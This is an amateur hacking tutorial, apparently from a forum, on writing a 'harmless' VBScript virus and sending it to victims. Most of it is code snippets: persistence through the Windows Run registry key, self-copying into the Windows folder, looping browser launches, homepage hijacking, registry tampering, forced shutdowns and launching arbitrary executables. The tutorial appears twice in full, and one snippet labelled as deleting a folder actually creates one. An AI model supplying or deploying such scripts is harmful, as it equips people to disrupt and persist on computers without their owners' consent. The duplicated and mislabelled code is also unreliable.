How make your own tiny virus using .vbs files
Hi,
This is a little tutorial how to make a tiny harmless virus for amateur hackers who already know how to access into other peoples computer via Telnet or
Portscanner.
here's what you can do to make some tiny little troublesome virus:
1. Open Notepad
2. Paste some codes from here into the notepad ( for codes see below)
3.When You have paste all the codes that you like, you need to save the notepad as .vbs:
4. Now You Have a .vbs File , Send it to your victim and have fun!
Codes
Msgbox pop up
msgbox"message here "
Msgbox pop up with title
msgbox "message here",0,"title here"
QUeStIon + Answera=inputbox("Question ")
msgbox "Answer " +a+ " ..."
CD-Rom Open And Close
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
Looping box
do (title Script here) loop
Virus Startup when turn on pc
If Day(Now) = 5 And Month(Now) = 20 Then
msgbox "its now 20 mei"
End If
Set Shl = CreateObject("Wscript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
winfolder = fso.GetSpecialFolder(0)
Set vbsfile = fso.GetFile(WScript.ScriptFullName)
vbsfile.Copy winfolder & "VIRUS NAME HERE.vbs"
Shl.RegWrite
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Start
menu",winfolder & "VIRUS NAME HERE.vbs"
Pauze in virus (1000 = 1sec)
Wscript.Sleep 1000
Change MSN Name!
maybe dont work)
Set WshShell = CreateObject("Wscript.shell")
WshShell.Run ("msnmsgr.exe")
Wscript.Sleep 1200
WshShell.sendkeys "%x"
WshShell.sendkeys "O"
WshShell.sendkeys "(Msn Name..)"
Site open with loop:
Wscript.Sleep 40000
Do
Wscript.Sleep 20000
Set WshShell = WScript.CreateObject ("WScript.Shell")
WshShell.Run ("SITE HERE")
Loop
Make Map:
path = "C:\New"
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(path) Then
Set folder = filesys.CreateFolder(path)
End If
Delete Map:
path = "C:\New"
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(path) Then
Set folder = filesys.CreateFolder(path)
End If
StartMenu ComeUp Slower/Faster(1000 = 1 sec):
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Control Panel\Desktop\MenuShowDelay", "10000"
CHange Name Of Trash a.k.a recycled bin (vicitm can see it and can choice the name):
Option Explicit
Dim WshShell, strRecycle, strOldName, strNewName, NL, RBn
Set WshShell = Wscript.CreateObject("WScript.Shell")
'Registry key to read for current name.
strRecycle = "HKCR\CLSID\{645FF040-5081" &_
"-101B-9F08-00AA002F954E}\"
'Read the Registry key and store the string value.
strOldName = WshShell.RegRead(strRecycle)
'Show the existing Recycle Bin name and prompt for new name.
NL = vbCRLF
strNewName = InputBox("Current name of Recyle Bin shown" &_
" below. " & NL & NL & "Enter a new name " &_
"and click OK", , strOldName)
'If new name was entered, write it to Registry key.
If strNewName <> "" Then
WshShell.RegWrite strRecycle, strNewName
End If
'Show results.
RBn = "Recycle Bin name "
If strNewName = "" or strNewName = StrOldName Then
WshShell.Popup RBn & "NOT changed.", , , 64
Else
WshShell.Popup RBn & "CHANGED to " & strNewName, , , 64
End If
Make Website as HomePage in your victim's computer:
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page",
SiteHere
PC Makes SOund[I like this one..xD]:
Set oWS = WScript.CreateObject("WScript.Shell")
oWS.Run "%comspec% /c echo " & Chr(07), 0, True
Windows force shutdown, Restart AND Log off commands:
Public Const LOGOFFUSER = 0
Public Const SHUTDOWNPC = 1
Public Const REBOOTPC = 2
Public Const FORCEREBOOT = 4
Declare Function ExitWindowsEx Lib "user32" Alias "ExitWindowsEx" (ByVal uFlags As Long, ByVal
dwReserved As Long) As Long
WIth 1 Of the codes
Computer shutdown:
ans& = ExitWindowsEx(SHUTDOWNPC, 0)
Computer restart:
ans& = ExitWindowsEx(REBOOTPC, 0)
log off:
ans& = ExitWindowsEx(LOGOFFUSER, 0)
Force SHutDown: (wel met risico voor andere bestanden!!)
ans& = ExitWindowsEx(FORCEREBOOT, 0)
Sendkeys:
Sendkeys "text here"
Sendkeys "{ENTER}"
(Now the program will type "text here")
Make New Map in DIR:path = "C:\New MAP (name)"
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(path) Then
Set folder = filesys.CreateFolder(path)
End If
Open a File/force file opener:
Set WshShell = WScript.CreateObject ("WScript.Shell") WshShell.Run ("Path Here, Example: C:/WIndows/Hack.exe")
Happy Hacking..^^
This is a little tutorial how to make a tiny harmless virus for amateur hackers who already know how to access into other peoples computer via Telnet or
Portscanner.
here's what you can do to make some tiny little troublesome virus:
1. Open Notepad
2. Paste some codes from here into the notepad ( for codes see below)
3.When You have paste all the codes that you like, you need to save the notepad as .vbs:
4. Now You Have a .vbs File , Send it to your victim and have fun!
Codes
Msgbox pop up
msgbox"message here "
Msgbox pop up with title
msgbox "message here",0,"title here"
QUeStIon + Answera=inputbox("Question ")
msgbox "Answer " +a+ " ..."
CD-Rom Open And Close
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
Looping box
do (title Script here) loop
Virus Startup when turn on pc
If Day(Now) = 5 And Month(Now) = 20 Then
msgbox "its now 20 mei"
End If
Set Shl = CreateObject("Wscript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
winfolder = fso.GetSpecialFolder(0)
Set vbsfile = fso.GetFile(WScript.ScriptFullName)
vbsfile.Copy winfolder & "VIRUS NAME HERE.vbs"
Shl.RegWrite
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Start
menu",winfolder & "VIRUS NAME HERE.vbs"
Pauze in virus (1000 = 1sec)
Wscript.Sleep 1000
Change MSN Name!
maybe dont work) Set WshShell = CreateObject("Wscript.shell")
WshShell.Run ("msnmsgr.exe")
Wscript.Sleep 1200
WshShell.sendkeys "%x"
WshShell.sendkeys "O"
WshShell.sendkeys "(Msn Name..)"
Site open with loop:
Wscript.Sleep 40000
Do
Wscript.Sleep 20000
Set WshShell = WScript.CreateObject ("WScript.Shell")
WshShell.Run ("SITE HERE")
Loop
Make Map:
path = "C:\New"
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(path) Then
Set folder = filesys.CreateFolder(path)
End If
Delete Map:
path = "C:\New"
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(path) Then
Set folder = filesys.CreateFolder(path)
End If
StartMenu ComeUp Slower/Faster(1000 = 1 sec):
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Control Panel\Desktop\MenuShowDelay", "10000"
CHange Name Of Trash a.k.a recycled bin (vicitm can see it and can choice the name):
Option Explicit
Dim WshShell, strRecycle, strOldName, strNewName, NL, RBn
Set WshShell = Wscript.CreateObject("WScript.Shell")
'Registry key to read for current name.
strRecycle = "HKCR\CLSID\{645FF040-5081" &_
"-101B-9F08-00AA002F954E}\"
'Read the Registry key and store the string value.
strOldName = WshShell.RegRead(strRecycle)
'Show the existing Recycle Bin name and prompt for new name.
NL = vbCRLF
strNewName = InputBox("Current name of Recyle Bin shown" &_
" below. " & NL & NL & "Enter a new name " &_
"and click OK", , strOldName)
'If new name was entered, write it to Registry key.
If strNewName <> "" Then
WshShell.RegWrite strRecycle, strNewName
End If
'Show results.
RBn = "Recycle Bin name "
If strNewName = "" or strNewName = StrOldName Then
WshShell.Popup RBn & "NOT changed.", , , 64
Else
WshShell.Popup RBn & "CHANGED to " & strNewName, , , 64
End If
Make Website as HomePage in your victim's computer:
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page",
SiteHere
PC Makes SOund[I like this one..xD]:
Set oWS = WScript.CreateObject("WScript.Shell")
oWS.Run "%comspec% /c echo " & Chr(07), 0, True
Windows force shutdown, Restart AND Log off commands:
Public Const LOGOFFUSER = 0
Public Const SHUTDOWNPC = 1
Public Const REBOOTPC = 2
Public Const FORCEREBOOT = 4
Declare Function ExitWindowsEx Lib "user32" Alias "ExitWindowsEx" (ByVal uFlags As Long, ByVal
dwReserved As Long) As Long
WIth 1 Of the codes
Computer shutdown:
ans& = ExitWindowsEx(SHUTDOWNPC, 0)
Computer restart:
ans& = ExitWindowsEx(REBOOTPC, 0)
log off:
ans& = ExitWindowsEx(LOGOFFUSER, 0)
Force SHutDown: (wel met risico voor andere bestanden!!)
ans& = ExitWindowsEx(FORCEREBOOT, 0)
Sendkeys:
Sendkeys "text here"
Sendkeys "{ENTER}"
(Now the program will type "text here")
Make New Map in DIR:path = "C:\New MAP (name)"
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(path) Then
Set folder = filesys.CreateFolder(path)
End If
Open a File/force file opener:
Set WshShell = WScript.CreateObject ("WScript.Shell") WshShell.Run ("Path Here, Example: C:/WIndows/Hack.exe")
Happy Hacking..^^